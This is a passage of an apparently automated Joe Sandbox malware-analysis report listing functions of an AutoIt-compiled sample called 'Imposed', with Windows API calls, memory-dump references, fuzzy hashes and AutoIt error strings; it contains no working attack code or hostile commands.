                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: IconLoad
                                                                                                                                                                • String ID: blank$info$question$stop$warning
                                                                                                                                                                • API String ID: 2457776203-404129466
                                                                                                                                                                • Opcode ID: 7af2e53581ed73072d19afd673c288980dfe2d5f44ef9cc9e9013fc6653da5c3
                                                                                                                                                                • Instruction ID: a7f2c6cc555724ff09eb0c15f1429d41791c6afc09ff6e84efd8e16f1ac38052
                                                                                                                                                                • Opcode Fuzzy Hash: 7af2e53581ed73072d19afd673c288980dfe2d5f44ef9cc9e9013fc6653da5c3
                                                                                                                                                                • Instruction Fuzzy Hash: 2E110D3624A30EBAE7115B54AC82DBF639DFF19324F14002AFA04671C2DAB59E0283A1
                                                                                                                                                                Function 009FE5F0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                                • String ID: 0.0.0.0
                                                                                                                                                                • API String ID: 642191829-3771769585
                                                                                                                                                                • Opcode ID: 19edf68772c4ef5d8ea3dc7620249cfc2c8f620c14012d407dbed68e1d902a4c
                                                                                                                                                                • Instruction ID: bcb60012bc6ad18c092ca1cfe4c5fe30c856d052e4fa6f3d0168cfb608d5f757
                                                                                                                                                                • Opcode Fuzzy Hash: 19edf68772c4ef5d8ea3dc7620249cfc2c8f620c14012d407dbed68e1d902a4c
                                                                                                                                                                • Instruction Fuzzy Hash: 6311067190011C6FCB20BB64DC0AEFE376CEF90720F0000B9F601E20A2EF749A828B54
                                                                                                                                                                Function 009FF4F0 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: _wcslen$LocalTime
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 952045576-0
                                                                                                                                                                • Opcode ID: f9ecfa8f3380b73e576c41f41a0a425e2bac8c3c579920702f35b376539d0395
                                                                                                                                                                • Instruction ID: 1d3272c68482231f6248032cc9708d1aab85c4d1a655a20c327aa8df1d2f9531
                                                                                                                                                                • Opcode Fuzzy Hash: f9ecfa8f3380b73e576c41f41a0a425e2bac8c3c579920702f35b376539d0395
                                                                                                                                                                • Instruction Fuzzy Hash: 2D419465C1021875CB11EBF4888AEDFB3AC9F45720F508462F618E3162FA34E355C7E6
                                                                                                                                                                Function 009AFBD2 Relevance: 12.1, APIs: 8, Instructions: 124COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,009D35E0,00000004,00000000,00000000), ref: 009AFC4D
                                                                                                                                                                • ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,009D35E0,00000004,00000000,00000000), ref: 009EFA40
                                                                                                                                                                • ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,009D35E0,00000004,00000000,00000000), ref: 009EFAC3
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ShowWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1268545403-0
                                                                                                                                                                • Opcode ID: 22d2b5b21027e4f7a81eae2eb037bbcdea1fab91604466d032bc45043c5e6fa3
                                                                                                                                                                • Instruction ID: 09d2c42d4517e4e1dd539d57e947753b2ebca9bd99f5289bf295b9d108b0a056
                                                                                                                                                                • Opcode Fuzzy Hash: 22d2b5b21027e4f7a81eae2eb037bbcdea1fab91604466d032bc45043c5e6fa3
                                                                                                                                                                • Instruction Fuzzy Hash: D041F931608A849AC7758BBFC9EC7393AB9AB57320F14483DE4CB4BA61D6799841C790
                                                                                                                                                                Function 00A233DD Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00A233F5
                                                                                                                                                                • GetDC.USER32(00000000), ref: 00A233FD
                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A23408
                                                                                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 00A23414
                                                                                                                                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00A23450
                                                                                                                                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00A23461
                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00A26141,?,?,000000FF,00000000,?,000000FF,?), ref: 00A2349C
                                                                                                                                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00A234BB
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3864802216-0
                                                                                                                                                                • Opcode ID: 0c0172c49d20e065d553e77007e20ffc4d5f23fada2deed17dc5bd1cbadcc0be
                                                                                                                                                                • Instruction ID: 6bf5ca8048265e9a049a44efe3e1d844129c53e0913b4cc7ff03d0006c2db06b
                                                                                                                                                                • Opcode Fuzzy Hash: 0c0172c49d20e065d553e77007e20ffc4d5f23fada2deed17dc5bd1cbadcc0be
                                                                                                                                                                • Instruction Fuzzy Hash: 04316D722012247BEF218F589C89FFB3FA9EF49711F044065FE089A191C6799952C7A4
                                                                                                                                                                Function 00A15777 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: NULL Pointer assignment$Not an Object type
                                                                                                                                                                • API String ID: 0-572801152
                                                                                                                                                                • Opcode ID: 9144584a0f52e145bb5b95ac3b278ea30b6d7a90aefbfff63301975927a01275
                                                                                                                                                                • Instruction ID: ce1bf453905f912e5430a1660cc35ff1bd1c1f38d4e630c7826b69ad80f7bf8c
                                                                                                                                                                • Opcode Fuzzy Hash: 9144584a0f52e145bb5b95ac3b278ea30b6d7a90aefbfff63301975927a01275
                                                                                                                                                                • Instruction Fuzzy Hash: 9ED1A375E0060ADFDB10DFA8D881AEEB7B5FF88354F148469E915AB281E770ED81CB50
                                                                                                                                                                Function 009D1942 Relevance: 10.8, APIs: 7, Instructions: 268COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,009D1C1B,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 009D19EE
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,009D1C1B,00000000,00000000,?,00000000,?,?,?,?), ref: 009D1A71
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,009D1C1B,?,009D1C1B,00000000,00000000,?,00000000,?,?,?,?), ref: 009D1B04
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,009D1C1B,00000000,00000000,?,00000000,?,?,?,?), ref: 009D1B1B
                                                                                                                                                                  • Part of subcall function 009C3C40: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,009B0215,00000000,?,00998E5F,00000004,?,009D4C6B,?,?,009910E8,00A2DBF4), ref: 009C3C72
                                                                                                                                                                • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,009D1C1B,00000000,00000000,?,00000000,?,?,?,?), ref: 009D1B97
                                                                                                                                                                • __freea.LIBCMT ref: 009D1BC2
                                                                                                                                                                • __freea.LIBCMT ref: 009D1BCE
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2829977744-0
                                                                                                                                                                • Opcode ID: 7297266783276e893e51da9f0fe34b09ffab67443e8ef0df3d86833ebdfe23d9
                                                                                                                                                                • Instruction ID: e962b62f447c1a8669541b3ccb33fca1217095196b69179e8c5d620203fb4903
                                                                                                                                                                • Opcode Fuzzy Hash: 7297266783276e893e51da9f0fe34b09ffab67443e8ef0df3d86833ebdfe23d9
                                                                                                                                                                • Instruction Fuzzy Hash: FD91C473E802167ADB208EB5D851EEEBBB9AF49710F18856BE805E7341E738DC40C760
                                                                                                                                                                Function 00A14CF6 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Variant$ClearInit
                                                                                                                                                                • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                                • API String ID: 2610073882-625585964
                                                                                                                                                                • Opcode ID: 785af4dc9c4b9338b4ab34ca554e481a97633bb60719fe2cde3cfbb9dc037120
                                                                                                                                                                • Instruction ID: 7c48b413b8b08ec9a5a008f896412546c487e98434f0269a943480faf214484e
                                                                                                                                                                • Opcode Fuzzy Hash: 785af4dc9c4b9338b4ab34ca554e481a97633bb60719fe2cde3cfbb9dc037120
                                                                                                                                                                • Instruction Fuzzy Hash: B0915F71A00219ABDF20CFA9D844FEEBBB8FF49725F108559F515AB280D7709985CFA0
                                                                                                                                                                Function 00A01A18 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00A01AED
                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A01B15
                                                                                                                                                                • SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00A01B39
                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A01B69
                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A01BF0
                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A01C55
                                                                                                                                                                • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00A01CC1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ArraySafe$Data$Access$UnaccessVartype
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2550207440-0
                                                                                                                                                                • Opcode ID: 904aa99035b1637a8e303871771f18e0bd8eab412fe87364c34bea372e1a18f9
                                                                                                                                                                • Instruction ID: 01c784514ed8baf53c512d83653bb0fda0efb821fa839402228149a5678200f5
                                                                                                                                                                • Opcode Fuzzy Hash: 904aa99035b1637a8e303871771f18e0bd8eab412fe87364c34bea372e1a18f9
                                                                                                                                                                • Instruction Fuzzy Hash: 7591AE75A00218AFEB019F98E885BFEB7B5FF46324F204029E541EB2D1E774E942CB50
                                                                                                                                                                Function 00991CD3 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ObjectSelect$BeginCreatePath
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3225163088-0
                                                                                                                                                                • Opcode ID: ddae91aec592da33d329d3fcb1435a57f8a67cd6b6d1abb6984e84d88e294c6b
                                                                                                                                                                • Instruction ID: 7eb4a43dd185368fe3e3f45b9f109182ee4675a230609b0ff16753fab930ab53
                                                                                                                                                                • Opcode Fuzzy Hash: ddae91aec592da33d329d3fcb1435a57f8a67cd6b6d1abb6984e84d88e294c6b
                                                                                                                                                                • Instruction Fuzzy Hash: 3F912B71D4021AAFCF14CFA9CC84AEEBBB9FF89320F148555E515B7291D3789942CB60
                                                                                                                                                                Function 00A1411A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • VariantInit.OLEAUT32(?), ref: 00A1413E
                                                                                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00A1424D
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1425D
                                                                                                                                                                • VariantClear.OLEAUT32(?), ref: 00A143F2
                                                                                                                                                                  • Part of subcall function 00A01570: VariantInit.OLEAUT32(00000000), ref: 00A015B0
                                                                                                                                                                  • Part of subcall function 00A01570: VariantCopy.OLEAUT32(?,?), ref: 00A015B9
                                                                                                                                                                  • Part of subcall function 00A01570: VariantClear.OLEAUT32(?), ref: 00A015C5
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
                                                                                                                                                                • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                                                                                                                • API String ID: 4137639002-1221869570
                                                                                                                                                                • Opcode ID: 52ecd67d6cd150afaace011a8ba831511ad6f11bbabefefb3fe9e6b53d58566d
                                                                                                                                                                • Instruction ID: 5bf3fb97883059dbff1dd3030f20451ba33fa11a5f441b2e280928703b771fbc
                                                                                                                                                                • Opcode Fuzzy Hash: 52ecd67d6cd150afaace011a8ba831511ad6f11bbabefefb3fe9e6b53d58566d
                                                                                                                                                                • Instruction Fuzzy Hash: B99147746083019FCB00DF68C5809AAB7E5FF88714F14892DF8999B351DB30ED86CB82
                                                                                                                                                                Function 00A15381 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009F082D: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?,?,009F0B7D), ref: 009F084A
                                                                                                                                                                  • Part of subcall function 009F082D: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?), ref: 009F0865
                                                                                                                                                                  • Part of subcall function 009F082D: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?,?), ref: 009F0873
                                                                                                                                                                  • Part of subcall function 009F082D: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009F0760,80070057,?), ref: 009F0883
                                                                                                                                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00A15425
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A1552D
                                                                                                                                                                • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00A155A3
                                                                                                                                                                • CoTaskMemFree.OLE32(?), ref: 00A155AE
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
                                                                                                                                                                • String ID: NULL Pointer assignment
                                                                                                                                                                • API String ID: 614568839-2785691316
                                                                                                                                                                • Opcode ID: b2b25a0f7ee2940f4ab03f89cfeb1f8010951a55c1fdf1a90a10297667decf51
                                                                                                                                                                • Instruction ID: d11c426edd3afc1823f05cae6be3480da184ed02f8a4c420729ca78ae6280e22
                                                                                                                                                                • Opcode Fuzzy Hash: b2b25a0f7ee2940f4ab03f89cfeb1f8010951a55c1fdf1a90a10297667decf51
                                                                                                                                                                • Instruction Fuzzy Hash: 03910771D0021DDFDF10DFA8D891AEEB7B9BF48310F104569E925A7291EB709A85CFA0
                                                                                                                                                                Function 00A227D7 Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetMenu.USER32(?), ref: 00A2285D
                                                                                                                                                                • GetMenuItemCount.USER32(00000000), ref: 00A2288F
                                                                                                                                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00A228B7
                                                                                                                                                                • _wcslen.LIBCMT ref: 00A228ED
                                                                                                                                                                • GetMenuItemID.USER32(?,?), ref: 00A22927
                                                                                                                                                                • GetSubMenu.USER32(?,?), ref: 00A22935
                                                                                                                                                                  • Part of subcall function 009F4251: GetWindowThreadProcessId.USER32(?,00000000), ref: 009F426B
                                                                                                                                                                  • Part of subcall function 009F4251: GetCurrentThreadId.KERNEL32 ref: 009F4272
                                                                                                                                                                  • Part of subcall function 009F4251: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,009F2DB3), ref: 009F4279
                                                                                                                                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A229BD
                                                                                                                                                                  • Part of subcall function 009FF152: Sleep.KERNEL32 ref: 009FF1CA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4196846111-0
                                                                                                                                                                • Opcode ID: 1f05e061a33bdef405430b19c56ccf638f8e276cc629fc1216eee3a1db6145e2
                                                                                                                                                                • Instruction ID: 1554ae3737dd04361c7c4669173605b97fd590072f69cc858cbd67d1be82ec3d
                                                                                                                                                                • Opcode Fuzzy Hash: 1f05e061a33bdef405430b19c56ccf638f8e276cc629fc1216eee3a1db6145e2
                                                                                                                                                                • Instruction Fuzzy Hash: 3F719175A00215AFCF10DF68D885BAEBBF5EF88310F148469E816AB351DB34ED42CB90
                                                                                                                                                                Function 00A284A6 Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • IsWindow.USER32(00000000), ref: 00A2853F
                                                                                                                                                                • IsWindowEnabled.USER32(00000000), ref: 00A2854B
